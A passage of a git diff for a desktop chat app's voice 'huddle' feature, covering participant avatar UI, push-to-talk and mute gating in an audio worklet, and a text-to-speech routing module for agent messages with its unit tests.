+                  className="h-7 w-7 shrink-0 text-foreground/65 hover:bg-destructive/15 hover:text-destructive"
+                  onClick={() => void onRemoveAgent(pubkey)}
+                  size="icon"
+                  type="button"
+                  variant="ghost"
+                >
+                  <X className="h-4 w-4" />
+                </Button>
+              )}
+            </li>
+          );
+        })}
+      </ul>
+    </PopoverContent>
+  );
+
+  const participantStrip = (
+    <div
+      className={cn(
+        "relative flex max-w-full shrink items-center justify-start overflow-x-auto px-1",
+        appearance === "room" ? "gap-2 py-2" : "h-12 gap-1",
+        className,
+      )}
+      data-testid="huddle-participant-strip"
+    >
+      {visibleIdentities.map((participant) =>
+        appearance === "room" ? (
+          <div
+            className="buzz-huddle-participant-tile relative flex w-28 shrink-0 flex-col items-center justify-center gap-1.5 rounded-xl border border-border/70 bg-muted/45 px-3 py-3"
+            data-testid="huddle-participant-tile"
+            key={participant.pubkey}
+          >
+            {participant.isAgent ? (
+              <AgentVoiceMenu
+                agentPubkey={participant.pubkey}
+                displayName={participant.displayName}
+                onRemoveAgent={
+                  onRemoveAgent
+                    ? () => void onRemoveAgent(participant.pubkey)
+                    : undefined
+                }
+                onSettingsChange={(settings) => {
+                  setResolvedAgentVoiceSettings((current) => ({
+                    ...current,
+                    [participant.pubkey]: settings,
+                  }));
+                }}
+                registry={voiceRegistry}
+                settings={resolvedAgentVoiceSettings[participant.pubkey]}
+              />
+            ) : null}
+            <ParticipantAvatar participant={participant} size="room" />
+            <div
+              className="-mb-2 mt-1 flex h-5 w-full shrink-0 items-center justify-center"
+              data-testid="huddle-participant-label-slot"
+            >
+              {participant.isAgent &&
+              participant.isActive &&
+              onInterruptAgentSpeech ? (
+                <Button
+                  aria-label={`Stop ${participant.displayName} speaking`}
+                  className="h-5 min-h-0 w-full rounded-sm bg-destructive/15 px-0 py-0 text-xs font-medium leading-none text-destructive hover:bg-destructive/20 hover:text-destructive"
+                  onClick={() => onInterruptAgentSpeech(participant.pubkey)}
+                  size="sm"
+                  type="button"
+                  variant="ghost"
+                >
+                  Stop
+                </Button>
+              ) : (
+                <span className="w-full truncate text-center text-xs font-medium leading-none text-foreground/80">
+                  {participant.displayName}
+                </span>
+              )}
+            </div>
+          </div>
+        ) : participant.isAgent ? (
+          <AgentVoiceMenu
+            agentPubkey={participant.pubkey}
+            contentAlign="start"
+            contentClassName="buzz-huddle-drawer buzz-huddle-popover text-foreground"
+            contentSide="top"
+            displayName={participant.displayName}
+            key={participant.pubkey}
+            onRemoveAgent={
+              onRemoveAgent
+                ? () => void onRemoveAgent(participant.pubkey)
+                : undefined
+            }
+            onSettingsChange={(settings) => {
+              setResolvedAgentVoiceSettings((current) => ({
+                ...current,
+                [participant.pubkey]: settings,
+              }));
+            }}
+            registry={voiceRegistry}
+            settings={resolvedAgentVoiceSettings[participant.pubkey]}
+            trigger={
+              <button
+                aria-label={`Voice settings for ${participant.displayName}`}
+                className="inline-flex shrink-0 cursor-pointer rounded-full outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-black"
+                data-testid="huddle-agent-voice-menu-trigger"
+                type="button"
+              >
+                <ParticipantAvatar participant={participant} size="bar" />
+              </button>
+            }
+          />
+        ) : (
+          <Tooltip key={participant.pubkey}>
+            <TooltipTrigger asChild>
+              <span className="inline-flex shrink-0 rounded-full">
+                <ParticipantAvatar participant={participant} size="bar" />
+              </span>
+            </TooltipTrigger>
+            <TooltipContent className="buzz-huddle-tooltip" side="top">
+              {participant.displayName}
+            </TooltipContent>
+          </Tooltip>
+        ),
+      )}
+      {hiddenParticipantCount > 0 ? (
+        <PopoverTrigger asChild>
+          <Button
+            aria-label={`Show all huddle participants (${participants.length})`}
+            className={cn(
+              "relative z-10 shrink-0 px-1 text-2xs font-semibold shadow-none tabular-nums",
+              appearance === "room"
+                ? "buzz-huddle-participant-tile min-h-[6.375rem] min-w-28 rounded-xl border border-border/70 bg-muted/45 text-foreground/70 hover:bg-muted/65 hover:text-foreground"
+                : "h-9 min-w-9 rounded-full border-2 border-black bg-white/15 text-white hover:bg-white/25 hover:text-white",
+            )}
+            type="button"
+            variant="ghost"
+          >
+            +{hiddenParticipantCount}
+          </Button>
+        </PopoverTrigger>
+      ) : null}
+    </div>
+  );
+
+  if (hiddenParticipantCount === 0) return participantStrip;
 
-                {isAgent && onRemoveAgent && (
-                  <Button
-                    aria-label={`Remove ${displayName} from huddle`}
-                    className="h-7 w-7 shrink-0 text-foreground/65 hover:bg-destructive/15 hover:text-destructive"
-                    onClick={() => void onRemoveAgent(pubkey)}
-                    size="icon"
-                    type="button"
-                    variant="ghost"
-                  >
-                    <X className="h-4 w-4" />
-                  </Button>
-                )}
-              </li>
-            );
-          })}
-        </ul>
-      </PopoverContent>
+  return (
+    <Popover>
+      {participantStrip}
+      {participantDetails}
     </Popover>
   );
 }
 
-/** Compact hex-prefix avatar for participants without a loaded profile. */
-function HexAvatar({
-  pubkey,
-  isActive,
-  size = "md",
+function ParticipantAvatar({
+  participant,
+  size,
 }: {
-  pubkey: string;
-  isActive?: boolean;
-  size?: "md" | "lg";
+  participant: ParticipantIdentity;
+  size: "bar" | "list" | "room";
 }) {
-  const shortId = pubkey.slice(0, 6).toUpperCase();
-  const parsed = parseInt(pubkey.slice(0, 4), 16);
-  const hue = Number.isNaN(parsed) ? 0 : parsed % 360;
-  const sat = Number.isNaN(parsed) ? 0 : 60;
+  const sizeClass =
+    size === "room" ? "h-14 w-14" : size === "bar" ? "h-9 w-9" : "h-8 w-8";
+  const speakerLevel = Math.min(1, Math.max(0, participant.speakerLevel));
+  const speakerStyle = {
+    "--buzz-huddle-speaker-opacity":
+      speakerLevel > 0.04 ? (0.45 + speakerLevel * 0.55).toFixed(3) : "0",
+    "--buzz-huddle-speaker-scale": (1.02 + speakerLevel * 0.14).toFixed(3),
+  } as React.CSSProperties;
 
   return (
-    <div
-      aria-label={`Participant ${truncatePubkey(pubkey)}`}
-      role="img"
+    <span
       className={cn(
-        "flex items-center justify-center rounded-full font-semibold shadow-xs",
-        size === "lg" ? "h-8 w-8 text-2xs" : "h-7 w-7 text-2xs",
-        isActive &&
-          "ring-2 ring-green-500 ring-offset-1 ring-offset-background",
+        "buzz-huddle-speaking-avatar relative z-0 inline-flex shrink-0 rounded-full",
+        sizeClass,
       )}
-      style={{
-        backgroundColor: `hsl(${hue}, ${sat}%, 55%)`,
-        color: "#fff",
-      }}
+      data-testid="huddle-participant-avatar"
+      style={speakerStyle}
     >
-      {size === "lg" ? shortId : <UsersRound className="h-4 w-4" />}
-    </div>
+      <ProfileAvatar
+        avatarUrl={participant.avatarUrl}
+        label={participant.displayName}
+        className="h-full w-full rounded-full border-2 border-black text-2xs"
+      />
+    </span>
   );
 }
diff --git a/desktop/src/features/huddle/index.ts b/desktop/src/features/huddle/index.ts
index be2435d919..cda38e31b6 100644
--- a/desktop/src/features/huddle/index.ts
+++ b/desktop/src/features/huddle/index.ts
@@ -1,6 +1,10 @@
 export { HuddleProvider, useHuddle } from "./HuddleContext";
 export { setupAudioWorklet } from "./lib/audioWorklet";
 export { HuddleBar } from "./components/HuddleBar";
+export { HuddleProfileControl } from "./components/HuddleProfileControl";
+export { HuddleRoomHeader } from "./components/HuddleRoomHeader";
+export { HuddleStartingView } from "./components/HuddleStartingView";
+export { HuddleTranscriptIntro } from "./components/HuddleTranscriptIntro";
 export {
   HuddleParticipantsControl,
   HuddleParticipantsControl as ParticipantList,
diff --git a/desktop/src/features/huddle/lib/audioWorklet.ts b/desktop/src/features/huddle/lib/audioWorklet.ts
index 677f4ac0a0..ae90aee6ee 100644
--- a/desktop/src/features/huddle/lib/audioWorklet.ts
+++ b/desktop/src/features/huddle/lib/audioWorklet.ts
@@ -19,10 +19,9 @@ function invokeRawBinary(cmd: string, payload: Uint8Array): Promise<unknown> {
 /** Return type for setupAudioWorklet — stop + mode control. */
 export type AudioWorkletHandle = {
   stop: () => void;
-  /** Send PTT state to the worklet processor. */
+  /** Update whether the microphone is manually unmuted. */
   setTransmitting: (active: boolean) => void;
-  /** Switch voice input mode. In VAD mode, always transmitting (PTT events ignored).
-   *  In PTT mode, gated by Ctrl+Space. */
+  /** Switch whether the push-to-talk shortcut participates in transmission. */
   setMode: (mode: "push_to_talk" | "voice_activity") => void;
   /** Set mic input gain (0–1). Adjusts the GainNode between source and worklet. */
   setGain: (value: number) => void;
@@ -40,17 +39,19 @@ export type AudioWorkletHandle = {
  *     → invokeRawBinary("push_audio_pcm", bytes)
  *         Rust: SttPipeline::push_audio → bounded sync_channel
  *
- * PTT gating:
- *   Main thread listens for Tauri "ptt-state" events (from Rust global shortcut)
- *   and forwards them to the worklet via port.postMessage({ type: 'ptt', active }).
- *   The worklet discards audio frames when transmitting=false.
+ * Transmission gating:
+ *   Main thread combines manual mute with Tauri "ptt-state" events from the
+ *   global shortcut. The worklet sends audio while either path is open and
+ *   discards frames only when both are closed.
  *
  * @param audioTrack - Mic track from LiveKit
- * @param initialTransmitting - Initial PTT state. true=open mic (VAD), false=muted until PTT press.
+ * @param initialMode - Whether the push-to-talk shortcut is enabled.
+ * @param initiallyManuallyUnmuted - Initial state of the clickable mic control.
  */
 export async function setupAudioWorklet(
   audioTrack: MediaStreamTrack,
-  initialTransmitting = true,
+  initialMode: "push_to_talk" | "voice_activity" = "voice_activity",
+  initiallyManuallyUnmuted = true,
 ): Promise<AudioWorkletHandle> {
   const audioContext = new AudioContext({ sampleRate: 48000 });
 
@@ -74,11 +75,17 @@ export async function setupAudioWorklet(
   source.connect(gainNode);
   gainNode.connect(workletNode);
 
-  // Set initial PTT state (worklet defaults to transmitting=true).
-  // In PTT mode, immediately gate audio until the user presses the key.
-  if (!initialTransmitting) {
-    workletNode.port.postMessage({ type: "ptt", active: false });
-  }
+  let currentMode = initialMode;
+  let shortcutActive = false;
+  let manuallyUnmuted = initiallyManuallyUnmuted;
+  const syncTransmission = () => {
+    workletNode.port.postMessage({
+      type: "ptt",
+      active:
+        manuallyUnmuted || (currentMode === "push_to_talk" && shortcutActive),
+    });
+  };
+  syncTransmission();
 
   // Forward PCM batches to Rust via raw binary invoke.
   // Direction: worklet→main (receives PCM data from worklet processor).
@@ -96,22 +103,16 @@ export async function setupAudioWorklet(
     });
   };
 
-  // Track the current mode so PTT events are only forwarded in PTT mode.
-  // In VAD mode, the worklet stays in transmitting=true regardless of
-  // Ctrl+Space presses — prevents accidental muting. (Crossfire fix I1.)
-  let currentMode: "push_to_talk" | "voice_activity" = initialTransmitting
-    ? "voice_activity"
-    : "push_to_talk";
-
   // Listen for PTT state from Rust global shortcut (Ctrl+Space press/release).
   // Direction: Rust→main→worklet. The Tauri event carries a boolean payload.
   let pttUnlisten: UnlistenFn | null = null;
   try {
     pttUnlisten = await listen<boolean>("ptt-state", (event) => {
       // Only forward PTT events to the worklet when in PTT mode.
-      // In VAD mode, Ctrl+Space is ignored — the worklet stays open.
+      // Manual unmute remains independent from the shortcut state.
       if (currentMode === "push_to_talk") {
-        workletNode.port.postMessage({ type: "ptt", active: event.payload });
+        shortcutActive = event.payload;
+        syncTransmission();
       }
     });
   } catch {
@@ -130,16 +131,13 @@ export async function setupAudioWorklet(
       void audioContext.close();
     },
     setTransmitting: (active: boolean) => {
-      workletNode.port.postMessage({ type: "ptt", active });
+      manuallyUnmuted = active;
+      syncTransmission();
     },
     setMode: (mode: "push_to_talk" | "voice_activity") => {
       currentMode = mode;
-      // When switching to VAD, immediately open the mic.
-      // When switching to PTT, immediately gate until key press.
-      workletNode.port.postMessage({
-        type: "ptt",
-        active: mode === "voice_activity",
-      });
+      shortcutActive = false;
+      syncTransmission();
     },
     setGain: (value: number) => {
       gainNode.gain.value = value;
diff --git a/desktop/src/features/huddle/lib/huddleWindow.ts b/desktop/src/features/huddle/lib/huddleWindow.ts
new file mode 100644
index 0000000000..ee7b239cd7
--- /dev/null
+++ b/desktop/src/features/huddle/lib/huddleWindow.ts
@@ -0,0 +1,23 @@
+import { isTauri } from "@tauri-apps/api/core";
+import { getCurrentWindow } from "@tauri-apps/api/window";
+
+const HUDDLE_WINDOW_LABEL_PREFIX = "huddle-";
+const UUID_PATTERN =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
+
+/** Returns the ephemeral channel id only for a dedicated huddle room window. */
+export function huddleWindowChannelId(): string | null {
+  if (!isTauri()) return null;
+
+  let label: string;
+  try {
+    label = getCurrentWindow().label;
+  } catch {
+    // Browser previews can expose the Tauri IPC mock without window metadata.
+    return null;
+  }
+  if (!label.startsWith(HUDDLE_WINDOW_LABEL_PREFIX)) return null;
+
+  const channelId = label.slice(HUDDLE_WINDOW_LABEL_PREFIX.length);
+  return UUID_PATTERN.test(channelId) ? channelId : null;
+}
diff --git a/desktop/src/features/huddle/lib/ttsLiveMessages.test.mjs b/desktop/src/features/huddle/lib/ttsLiveMessages.test.mjs
new file mode 100644
index 0000000000..8bacceff9c
--- /dev/null
+++ b/desktop/src/features/huddle/lib/ttsLiveMessages.test.mjs
@@ -0,0 +1,271 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  classifySpeakableAgentText,
+  createInitialTtsReadinessGate,
+  createLatestStateGate,
+  createOrderedSpeaker,
+  routeLiveAgentText,
+} from "./ttsLiveMessages.ts";
+
+const agents = new Set(["agent"]);
+const CHANNEL = "active-huddle";
+const base = {
+  id: "1",
+  kind: 9,
+  pubkey: "agent",
+  content: "Hello there",
+  tags: [["h", CHANNEL]],
+};
+const speakableText = (event, selfPubkey = "human") =>
+  classifySpeakableAgentText(event, agents, selfPubkey, CHANNEL).text;
+
+test("speaks only new agent-authored text message events", () => {
+  assert.equal(speakableText(base), "Hello there");
+  assert.equal(
+    speakableText({ ...base, kind: 40002 }),
+    "Hello there",
+    "managed stream-message-v2 replies are spoken",
+  );
+  assert.equal(
+    speakableText({ ...base, kind: 7 }),
+    null,
+    "reactions and other event kinds are excluded",
+  );
+  assert.equal(
+    speakableText({ ...base, kind: 10 }),
+    null,
+    "edits and status events are excluded",
+  );
+  assert.equal(
+    speakableText({ ...base, pubkey: "human" }),
+    null,
+    "human-authored messages are excluded",
+  );
+  assert.equal(
+    speakableText({ ...base, content: " " }),
+    null,
+    "empty and non-text content are excluded",
+  );
+  assert.equal(
+    speakableText({ ...base, content: "K" }),
+    "K",
+    "one-character agent text remains speakable",
+  );
+  assert.equal(
+    speakableText({ ...base, content: "[System] tool started" }),
+    null,
+    "legacy system rows are excluded",
+  );
+  assert.equal(
+    speakableText({ ...base, tags: [["h", "another-huddle"]] }),
+    null,
+    "messages for another huddle are excluded",
+  );
+});
+
+test("routes managed stream-message-v2 through membership and enabled ordering", async () => {
+  const invoked = [];
+  const speaker = createOrderedSpeaker(async (text, routeId) => {
+    invoked.push({ text, routeId });
+  }, assert.fail);
+
+  assert.equal(
+    routeLiveAgentText(
+      { ...base, kind: 40002 },
+      agents,
+      "human",
+      CHANNEL,
+      77,
+      speaker.enqueue,
+    ),
+    "queued",
+  );
+  assert.equal(
+    routeLiveAgentText(
+      { ...base, kind: 7 },
+      agents,
+      "human",
+      CHANNEL,
+      78,
+      speaker.enqueue,
+    ),
+    "unsupported_kind",
+  );
+  assert.equal(
+    routeLiveAgentText(
+      { ...base, tags: [["h", "wrong"]] },
+      agents,
+      "human",
+      CHANNEL,
+      79,
+      speaker.enqueue,
+    ),
+    "h_tag_mismatch",
+  );
+  assert.equal(
+    routeLiveAgentText(
+      { ...base, pubkey: "human" },
+      agents,
+      "human",
+      CHANNEL,
+      80,
+      speaker.enqueue,
+    ),
+    "author_not_agent",
+  );
+  await new Promise((resolve) => setTimeout(resolve, 0));
+  assert.deepEqual(invoked, [{ text: "Hello there", routeId: 77 }]);
+});
+
+test("strips attachment markup and skips attachment-only events", () => {
+  const url = "https://cdn.example/voice.png";
+  const tags = [...base.tags, ["imeta", `url ${url}`, "m image/png"]];
+  assert.equal(
+    speakableText({ ...base, content: `![image](${url})`, tags }),
+    null,
+  );
+  assert.equal(
+    speakableText({
+      ...base,
+      content: `Here is the diagram.\n\n![image](${url})`,
+      tags,
+    }),
+    "Here is the diagram.",
+  );
+  assert.equal(
+    speakableText({ ...base, content: `||\n![image](${url})\n||`, tags }),
+    null,
+  );
+});
+
+test("queues agent messages in live thread arrival order", async () => {
+  const spoken = [];
+  let releaseFirst;
+  const firstBlocked = new Promise((resolve) => {
+    releaseFirst = resolve;
+  });
+  const speaker = createOrderedSpeaker(async (text, routeId) => {
+    if (text === "first") await firstBlocked;
+    spoken.push([text, routeId]);
+  }, assert.fail);
+
+  speaker.enqueue("first", 41);
+  speaker.enqueue("second", 42);
+  await Promise.resolve();
+  assert.deepEqual(spoken, []);
+  releaseFirst();
+  await new Promise((resolve) => setTimeout(resolve, 0));
+  assert.deepEqual(spoken, [
+    ["first", 41],
+    ["second", 42],
+  ]);
+});
+
+test("disabling cancels queued speech and rejects new messages until enabled", async () => {
+  const invoked = [];
+  const dropped = [];
+  let releaseFirst;
+  const firstBlocked = new Promise((resolve) => {
+    releaseFirst = resolve;
+  });
+  const speaker = createOrderedSpeaker(
+    async (text) => {
+      invoked.push(text);
+      if (text === "first") await firstBlocked;
+    },
+    assert.fail,
+    true,
+    (routeId, reason) => dropped.push([routeId, reason]),
+  );
+
+  speaker.enqueue("first", 51);
+  speaker.enqueue("queued-before-off", 52);
+  await Promise.resolve();
+  speaker.setEnabled(false);
+  speaker.enqueue("while-off");
+  releaseFirst();
+  await new Promise((resolve) => setTimeout(resolve, 0));
+  speaker.setEnabled(true);
+  speaker.enqueue("after-on");
+  await new Promise((resolve) => setTimeout(resolve, 0));
+  assert.deepEqual(invoked, ["first", "after-on"]);
+  assert.deepEqual(dropped, [[52, "disabled"]]);
+});
+
+test("does not speak before the native enabled state is known", async () => {
+  const invoked = [];
+  const speaker = createOrderedSpeaker(
+    async (text) => invoked.push(text),
+    assert.fail,
+    false,
+  );
+
+  speaker.enqueue("before-state");
+  await Promise.resolve();
+  speaker.setEnabled(true);
+  speaker.enqueue("after-state");
+  await new Promise((resolve) => setTimeout(resolve, 0));
+  assert.deepEqual(invoked, ["after-state"]);
+});
+
+test("a live TTS state event supersedes a delayed bootstrap result", () => {
+  const applied = [];
+  const gate = createLatestStateGate((enabled) => applied.push(enabled));
+  const applyBootstrap = gate.beginSnapshot();
+
+  gate.applyEvent(false);
+  applyBootstrap(true);
+
+  assert.deepEqual(applied, [false]);
+});
+
+test("buffers initial live events until membership and TTS state resolve", () => {
+  const delivered = [];
+  const gate = createInitialTtsReadinessGate((event) => delivered.push(event));
+  gate.push("first");
+  gate.push("second");
+  assert.deepEqual(delivered, []);
+  gate.markMembershipKnown();
+  assert.deepEqual(delivered, []);
+  gate.markTtsStateKnown();
+  gate.push("third");
+  assert.deepEqual(delivered, ["first", "second", "third"]);
+});
+
+test("preserves the first agent reply when membership resolves before TTS state", async () => {
+  const spoken = [];
+  const speaker = createOrderedSpeaker(
+    async (text) => spoken.push(text),
+    assert.fail,
+    false,
+  );
+  const gate = createInitialTtsReadinessGate((text) =>
+    speaker.enqueue(text, 1),
+  );
+
+  gate.push("first agent reply");
+  gate.markMembershipKnown();
+  speaker.setEnabled(true);
+  gate.markTtsStateKnown();
+  await new Promise((resolve) => setTimeout(resolve, 0));
+
+  assert.deepEqual(spoken, ["first agent reply"]);
+});
+
+test("drops the initial buffer fail-closed with the readiness failure", () => {
+  const delivered = [];
+  const dropped = [];
+  const gate = createInitialTtsReadinessGate(
+    (event) => delivered.push(event),
+    (event, reason) => dropped.push({ event, reason }),
+  );
+  gate.push("unverified");
+  gate.fail("tts_state_unavailable");
+  gate.push("after-failure");
+  assert.deepEqual(delivered, ["after-failure"]);
+  assert.deepEqual(dropped, [
+    { event: "unverified", reason: "tts_state_unavailable" },
+  ]);
+});
diff --git a/desktop/src/features/huddle/lib/ttsLiveMessages.ts b/desktop/src/features/huddle/lib/ttsLiveMessages.ts
new file mode 100644
index 0000000000..74f5013a87
--- /dev/null
+++ b/desktop/src/features/huddle/lib/ttsLiveMessages.ts
@@ -0,0 +1,208 @@
+import {
+  KIND_STREAM_MESSAGE,
+  KIND_STREAM_MESSAGE_V2,
+} from "../../../shared/constants/kinds.ts";
+
+export type LiveTtsEvent = {
+  id: string;
+  kind: number;
+  pubkey: string;
+  content: string;
+  tags: string[][];
+};
+
+export type LiveTtsEligibility =
+  | { text: string; reason: null }
+  | {
+      text: null;
+      reason:
+        | "unsupported_kind"
+        | "h_tag_mismatch"
+        | "author_not_agent"
+        | "self_authored"
+        | "empty_or_system";
+    };
+
+export type LiveTtsRouteResult =
+  | "queued"
+  | "disabled"
+  | Exclude<LiveTtsEligibility, { text: string }>["reason"];
+
+function textWithoutAttachments(event: LiveTtsEvent): string {
+  const urls = new Set(
+    event.tags
+      .filter((tag) => tag[0] === "imeta")
+      .flatMap((tag) =>
+        tag
+          .slice(1)
+          .filter((field) => field.startsWith("url "))
+          .map((field) => field.slice(4)),
+      ),
+  );
+  if (urls.size === 0) return event.content;
+  const withoutMedia = event.content
+    .split("\n")
+    .filter(
+      (line) => !Array.from(urls).some((url) => line.includes(`](${url})`)),
+    )
+    .join("\n");
+  return withoutMedia.replace(
+    /(^|\n)\s*\|\|\s*\n(?:\s*\n)*\s*\|\|\s*(?=\n|$)/gu,
+    "$1",
+  );
+}
+
+export function classifySpeakableAgentText(
+  event: LiveTtsEvent,
+  agentPubkeys: ReadonlySet<string>,
+  selfPubkey: string | null,
+  channelId: string,
+): LiveTtsEligibility {
+  if (
+    event.kind !== KIND_STREAM_MESSAGE &&
+    event.kind !== KIND_STREAM_MESSAGE_V2
+  )
+    return { text: null, reason: "unsupported_kind" };
+  if (!event.tags.some((tag) => tag[0] === "h" && tag[1] === channelId))
+    return { text: null, reason: "h_tag_mismatch" };
+  if (!agentPubkeys.has(event.pubkey))
+    return { text: null, reason: "author_not_agent" };
+  if (event.pubkey === selfPubkey)
+    return { text: null, reason: "self_authored" };
+  const content = textWithoutAttachments(event).trim();
+  if (content.length === 0 || content.startsWith("[System]"))
+    return { text: null, reason: "empty_or_system" };
+  return { text: content, reason: null };
+}
+
+/** Classify and enqueue one live event through the production routing seam. */
+export function routeLiveAgentText(
+  event: LiveTtsEvent,
+  agentPubkeys: ReadonlySet<string>,
+  selfPubkey: string | null,
+  channelId: string,
+  routeId: number,
+  enqueue: (text: string, routeId: number) => "queued" | "disabled",
+): LiveTtsRouteResult {
+  const eligibility = classifySpeakableAgentText(
+    event,
+    agentPubkeys,
+    selfPubkey,
+    channelId,
+  );
+  if (eligibility.text === null) return eligibility.reason;
+  return enqueue(eligibility.text, routeId);
+}
+
+/**
+ * Serialize native speak calls so live messages enter the bounded Pocket queue
+ * in thread arrival order even when the bridge resolves calls asynchronously.
+ */
+export function createOrderedSpeaker(
+  speak: (
+    text: string,
+    routeId: number,
+    speakerPubkey: string,
+  ) => Promise<void>,
+  onError: (error: unknown) => void,
+  initiallyEnabled = true,
+  onDrop: (routeId: number, reason: "disabled") => void = () => {},
+): {
+  enqueue: (
+    text: string,
+    routeId: number | undefined,
+    speakerPubkey: string,
+  ) => "queued" | "disabled";
+  setEnabled: (enabled: boolean) => void;
+} {
+  let tail = Promise.resolve();
+  let enabled = initiallyEnabled;
+  let generation = 0;
+  return {
+    enqueue(text, routeId = 0, speakerPubkey) {
+      if (!enabled) return "disabled";
+      const queuedGeneration = generation;
+      tail = tail
+        .then(() => {
+          if (!enabled || generation !== queuedGeneration) {
+            onDrop(routeId, "disabled");
+            return;
+          }
+          return speak(text, routeId, speakerPubkey);
+        })
+        .catch(onError);
+      return "queued";
+    },
+    setEnabled(nextEnabled) {
+      if (!nextEnabled) generation += 1;
+      enabled = nextEnabled;
+    },
+  };
+}
+
+/** Ensure a delayed bootstrap snapshot cannot overwrite a newer live event. */
+export function createLatestStateGate<T>(apply: (value: T) => void): {
+  applyEvent: (value: T) => void;
+  beginSnapshot: () => (value: T) => void;
+} {
+  let revision = 0;
+  return {
+    applyEvent(value) {
+      revision += 1;
+      apply(value);
+    },
+    beginSnapshot() {
+      const snapshotRevision = revision;
+      return (value) => {
+        if (revision === snapshotRevision) apply(value);
+      };
+    },
+  };
+}
+
+/** Hold live events until initial membership and TTS state are both known. */
+export function createInitialTtsReadinessGate<T>(
+  deliver: (event: T) => void,
+  drop: (
+    event: T,
+    reason: "membership_unavailable" | "tts_state_unavailable",
+  ) => void = () => {},
+): {
+  push: (event: T) => void;
+  markMembershipKnown: () => void;
+  markTtsStateKnown: () => void;
+  fail: (reason: "membership_unavailable" | "tts_state_unavailable") => void;
+} {
+  let settled = false;
+  let membershipKnown = false;
+  let ttsStateKnown = false;
+  let pending: T[] = [];
+  const releaseIfReady = () => {
+    if (settled || !membershipKnown || !ttsStateKnown) return;
+    settled = true;
+    const buffered = pending;
+    pending = [];
+    for (const event of buffered) deliver(event);
+  };
+  return {
+    push(event) {
+      if (settled) deliver(event);
+      else pending.push(event);
+    },
+    markMembershipKnown() {
+      membershipKnown = true;
+      releaseIfReady();
+    },
+    markTtsStateKnown() {
+      ttsStateKnown = true;
+      releaseIfReady();
+    },
+    fail(reason) {
+      if (settled) return;
+      settled = true;
+      const dropped = pending;
+      pending = [];
+      for (const event of dropped) drop(event, reason);
+    },
+  };
+}
diff --git a/desktop/src/features/huddle/lib/useAudioDevices.ts b/desktop/src/features/huddle/lib/useAudioDevices.ts
index b7adc67890..13347b14b6 100644
--- a/desktop/src/features/huddle/lib/useAudioDevices.ts
+++ b/desktop/src/features/huddle/lib/useAudioDevices.ts
@@ -2,6 +2,11 @@ import * as React from "react";
 
 import type { AudioWorkletHandle } from "./audioWorklet";
 
+export type AudioInputDevice = {
+  deviceId: string;
+  label: string;
+};
+
 /**
  * Manages audio input device enumeration, device selection, and mic gain.
  * Extracted from HuddleContext to keep file sizes manageable.
@@ -9,7 +14,9 @@ import type { AudioWorkletHandle } from "./audioWorklet";
 export function useAudioDevices(
   workletRef: React.RefObject<AudioWorkletHandle | null>,
 ) {
-  const [audioDevices, setAudioDevices] = React.useState<MediaDeviceInfo[]>([]);
+  const [audioDevices, setAudioDevices] = React.useState<AudioInputDevice[]>(
+    [],
+  );
   const [selectedDeviceId, setSelectedDeviceId] = React.useState("");
   const [micGain, setMicGainState] = React.useState(1);
   const micGainRef = React.useRef(1);
@@ -20,7 +27,14 @@ export function useAudioDevices(
       navigator.mediaDevices
         .enumerateDevices()
         .then((devices) =>
-          setAudioDevices(devices.filter((d) => d.kind === "audioinput")),
+          setAudioDevices(
+            devices
+              .filter((device) => device.kind === "audioinput")
+              .map((device) => ({
+                deviceId: device.deviceId,
+                label: device.label,
+              })),
+          ),
         )
         .catch(() => {
           /* best-effort */
diff --git a/desktop/src/features/huddle/lib/useHuddlePttState.ts b/desktop/src/features/huddle/lib/useHuddlePttState.ts
new file mode 100644
index 0000000000..04a3b4e7f7
--- /dev/null
+++ b/desktop/src/features/huddle/lib/useHuddlePttState.ts
@@ -0,0 +1,81 @@
+import { invoke } from "@tauri-apps/api/core";
+import { listen } from "@tauri-apps/api/event";
+import * as React from "react";
+
+export type VoiceInputMode = "push_to_talk" | "voice_activity";
+
+export function useHuddlePttState(micConnected: boolean) {
+  const [pttActive, setPttActive] = React.useState(false);
+  const [voiceInputMode, setVoiceInputModeState] =
+    React.useState<VoiceInputMode>("push_to_talk");
+  const voiceInputModeRef = React.useRef<VoiceInputMode>("push_to_talk");
+  voiceInputModeRef.current = voiceInputMode;
+  const getVoiceInputMode = React.useCallback(
+    () => voiceInputModeRef.current,
+    [],
+  );
+  const pttAudioCtxRef = React.useRef<AudioContext | null>(null);
+
+  React.useEffect(() => {
+    invoke<VoiceInputMode>("get_voice_input_mode")
+      .then(setVoiceInputModeState)
+      .catch(() => {
+        /* best-effort — default is push_to_talk */
+      });
+  }, []);
+
+  React.useEffect(() => {
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    listen<boolean>("ptt-state", (event) => {
+      if (cancelled) return;
+      const acceptsPtt =
+        micConnected && voiceInputModeRef.current === "push_to_talk";
+      setPttActive(acceptsPtt ? event.payload : false);
+      if (!acceptsPtt) return;
+      try {
+        if (
+          !pttAudioCtxRef.current ||
+          pttAudioCtxRef.current.state === "closed"
+        ) {
+          pttAudioCtxRef.current = new AudioContext();
+        }
+        const context = pttAudioCtxRef.current;
+        const oscillator = context.createOscillator();
+        const gain = context.createGain();
+        oscillator.connect(gain);
+        gain.connect(context.destination);
+        oscillator.frequency.value = event.payload ? 880 : 440;
+        gain.gain.value = 0.05;
+        oscillator.start();
+        oscillator.stop(context.currentTime + 0.05);
+      } catch {
+        /* best-effort */
+      }
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+      if (pttAudioCtxRef.current?.state !== "closed") {
+        void pttAudioCtxRef.current?.close();
+        pttAudioCtxRef.current = null;
+      }
+    };
+  }, [micConnected]);
+
+  React.useEffect(() => {
+    if (!micConnected || voiceInputMode !== "push_to_talk") {
+      setPttActive(false);
+    }
+  }, [micConnected, voiceInputMode]);
+
+  return {
+    getVoiceInputMode,
+    pttActive,
+    setVoiceInputModeState,
+    voiceInputMode,
+  };
+}
diff --git a/desktop/src/features/huddle/lib/useHuddleSpeakerActivity.ts b/desktop/src/features/huddle/lib/useHuddleSpeakerActivity.ts
new file mode 100644
index 0000000000..588d475029
--- /dev/null
+++ b/desktop/src/features/huddle/lib/useHuddleSpeakerActivity.ts
@@ -0,0 +1,99 @@
+import { listen } from "@tauri-apps/api/event";
+import * as React from "react";
+
+type TtsSpeakerActivity = { pubkey: string; level: number };
+
